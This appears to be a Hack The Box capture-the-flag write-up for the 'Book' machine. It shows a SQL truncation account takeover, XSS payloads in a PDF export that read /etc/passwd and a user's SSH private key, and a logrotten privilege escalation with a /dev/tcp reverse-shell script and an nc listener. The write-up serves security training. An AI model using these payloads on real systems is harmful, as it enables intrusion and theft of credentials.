Hack The Box - Book Writeup
Overview
Book is a medium linux box by MrR3boot.
The box starts with web-enumeration, where we exploit a SQL Truncation attack to change the password of the admin account. After logging in as admin, we can exploit a XSS vulnerability to read files from the system, which gives as access to the ssh-key of the user. The ssh-key gives as shell-access as user and we can read user.txt.
Enumerating the system, we find that logrotate is executed regularly. Researching for an exploit we find that there is an exploit called logrotten. Using this exploit we can get a shell as root and read root.txt.
Information Gathering
Nmap
Starting of with a nmap to check for open ports.
root@darkness:~# nmap -sC -sV 10.10.10.176
Nmap scan report for 10.10.10.176
Host is up (0.23s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
| 256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_ 256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration
The only two open ports shown are 22 and 80. SSH usually is not that interesting, so let us begin with http.
HTTP - Port 80
Going to http://10.10.10.176, we get this webpage shown.
Clicking on sign up, we get this signup form.
Let us check out the source code of the webpage.
<form action="" method="POST" name="myForm" onsubmit="return validateForm()">
<h1>Create Account</h1>
[...]
<span>or use your email for registration</span>
<input type="text" placeholder="Name" name="name"/>
<input type="email" placeholder="Email" name="email"/>
<input type="password" placeholder="Password" name="password"/>
<button>Sign Up</button>
</form>
</div>
Onsubmit of the form, the Javascript function validateForm
is called. Let us check out the function in the source code.
<script>
if (document.location.search.match(/type=embed/gi)) {
window.parent.postMessage("resize", "*");
}
function validateForm() {
var x = document.forms["myForm"]["name"].value;
var y = document.forms["myForm"]["email"].value;
if (x == "") {
alert("Please fill name field. Should not be more than 10 characters");
return false;
}
if (y == "") {
alert("Please fill email field. Should not be more than 20 characters");
return false;
}
}
</script>
The Javascript function checks if data was inputted and if not alerts that it should not exceed a certain length. This length limitation in the entered input could mean that the registration is susceptible to a SQL truncation attack (also explained here). Before we start exploiting, let us further enumerate to not miss any important information.
Creating a user, we get redirected to this webpage.
Further checking out the webpage, we can submit books and download pdfs accepted uploads.
The submitted books are reviewed by the administrator, which could mean that we have a potential XSS attack-vector.
The accepted books are available for download as a pdf.
The contact page gives us the email address of the administrator (admin@book.htb).
Let us run a gobuster to make sure we have not missed any interesting files or folders.
root@darkness:~# gobuster dir -u http://10.10.10.176 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.176
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2020/06/18 15:27:05 Starting gobuster
===============================================================
/images (Status: 301)
/download.php (Status: 302)
/contact.php (Status: 302)
/search.php (Status: 302)
/home.php (Status: 302)
/profile.php (Status: 302)
/docs (Status: 301)
/books.php (Status: 302)
/feedback.php (Status: 302)
/index.php (Status: 200)
/admin (Status: 301)
Running a gobuster, we find a couple of interesting files, however /admin sounds the most interesting.
Going to /admin we get presented with a login panel that does not have a registration and does not work for our created user.
SQL Truncation Exploitation
Now that we have enumerated the webpage thoroughly, let us exploit the SQL Truncation vulnerability to get access to the admin panel.
Explanation
SQL Truncation is an exploit that potentially allows attackers to register already existing accounts. This occurs due to the fact that depending on the configuration the database will truncate strings that exceed the specified maximum length of the column.
Now if an attacker registers a new user with the input admin [x spaces]a
, where x will exceed the maximum column length. The database will check if the user admin [x spaces]a
already exists and if not, truncates the input (removes the a
) and adds the user to the database. This results into the database removing all ending spaces and the user admin
will be overwritten with the attacker-specified input.
Exploitation
>>> name = 'admin@book.htb'
>>> while len(name) < 20:
... name += ' '
...
>>> name += 'a'
>>> name
'admin@book.htb a'
>>> len(name)
21
Using python we can quickly create our payload, which should theoretically overwrite the user admin@book.htb
with the password we have created. The length of 20 was chosen, as the Javascript mentioned a max length of 20 characters.
Entering our payload in the email field, we can now specify the new administrator password.
After registering the new user, we should be able to login as admin with our specified password.
root@darkness:~# curl -X POST -d 'name=chronos&email=admin@book.htb%20%20%20%20%20%20a&password=chronos%40htb' 10.10.10.176/index.php
Using curl, we can quickly update the password back whenever it is changed.
After logging in, we get redirected to this page and are logged in as admin.
XSS to arbitrary file-read
Enumeration
Checking out the admin page, we see that we can export the collections of submitted books.
The exported data shows title, author and a link to the book.
As the user controls title and author, we can inject Javascript into the pdf.
Verifying exploitability
Using a simple payload like this, we can test for XSS.
<img src=x onerror=document.write("XSS");>
Exporting the collection as an admin we get this pdf.
We have successfully verified our XSS and can now start to read files from the server.
Exploiting arbitrary file-read
Using XMLHttpRequest
we can read files from the system and write it to the pdf. This payload should read /etc/passwd from the system and writes it to the pdf.
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
Repeating our previous steps, we can successfully read /etc/passwd
from the system. Seems like the user is called reader
. Let us try to read the id_rsa key of reader. For this we use following payload.
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>
Now that we have the ssh-key, we can use it to login as the user reader.
Getting a shell as user
Now that we have the ssh-key of the user, we can login using ssh.
root@darkness:~# ssh -i id_rsa reader@10.10.10.176
The authenticity of host '10.10.10.176 (10.10.10.176)' can't be established.
ECDSA key fingerprint is SHA256:QRw8pCXg7E8d9sWI+0Z9nZxClJiq9/eAeT/9wUfoQQk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.176' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Jun 18 13:52:32 UTC 2020
System load: 0.09 Processes: 143
Usage of /: 26.6% of 19.56GB Users logged in: 0
Memory usage: 22% IP address for ens33: 10.10.10.176
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
114 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Jan 29 13:03:06 2020 from 10.10.14.3
reader@book:~$
reader@book:~$ cat user.txt
51c1d***************************
Privesc to root
Now that we have a shell as user and read user.txt, let us enumerate the system to find a privilege escalation path.
Enumeration as user
Running pspy on the system, we see that logrotate is run regularly.
reader@book:/tmp$ ./pspy
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
[...]
2020/06/18 15:03:51 CMD: UID=0 PID=29855 | /usr/sbin/logrotate -f /root/log.cfg
Researching for “logrotate exploit” on google, we can find an exploit for Logrotate 3.15.1
. This packetstorm article explains to exploit and references this GitHub.
Exploitation of logrotate
We can use this exploit to exploit logrotate and get a shell as root. For this we have to create a payload file that will be executed in the context of root.
reader@book:/tmp$ cat ex.sh
#!/bin/bash
if [ `id -u` -eq 0 ]
then
(bash -c 'bash -i >& /dev/tcp/127.0.0.1/9001 0>&1')
fi
Our payload is a simple reverse-shell to the local system. Now we have to transfer and compile logrotten to the target and execute it.
reader@book:/tmp$ wget 10.10.14.37/logrotten.c
2020-06-18 15:12:28 (4.79 MB/s) - ‘logrotten.c’ saved [7342/7342]
reader@book:/tmp$ gcc logrotten.c -o logrotten
Now that we have compiled the exploit, we can run it with the exploit-file and the logfile as arguments.
reader@book:/tmp$ ./logrotten -p ex.sh /home/reader/backups/access.log
Now that the exploit is running, we have to trigger it by writing something to the logfile.
reader@book:~$ echo "test" > backups/access.log
Writing into backups/access.log triggers the log rotation, which gives us time for our exploit to execute the reverse-shell.
We can change the execution and triggering of the exploit into a one-liner like this:
reader@book:/tmp$ (./logrotten -p ex.sh /home/reader/backups/access.log &); \
> echo "test" > /home/reader/backups/access.log
Waiting for rotating /home/reader/backups/access.log...
Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload...
Done!
reader@book:/tmp$
The exploit has been successfully executed and we should receive a reverse-shell as root.
reader@book:~$ nc -lnvp 9001
Listening on [0.0.0.0] (family 0, port 9001)
Connection from 127.0.0.1 52822 received!
root@book:~#
The reverse-shells only last for a couple of seconds, however we can quickly read the id_rsa file of root to gain ourselves permanent root-access.
root@book:~# cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEp
[...]
ywUQ==
-----END RSA PRIVATE KEY-----
Now that we have a shell as root we can read root.txt.
root@book:~# cat root.txt
84da9***************************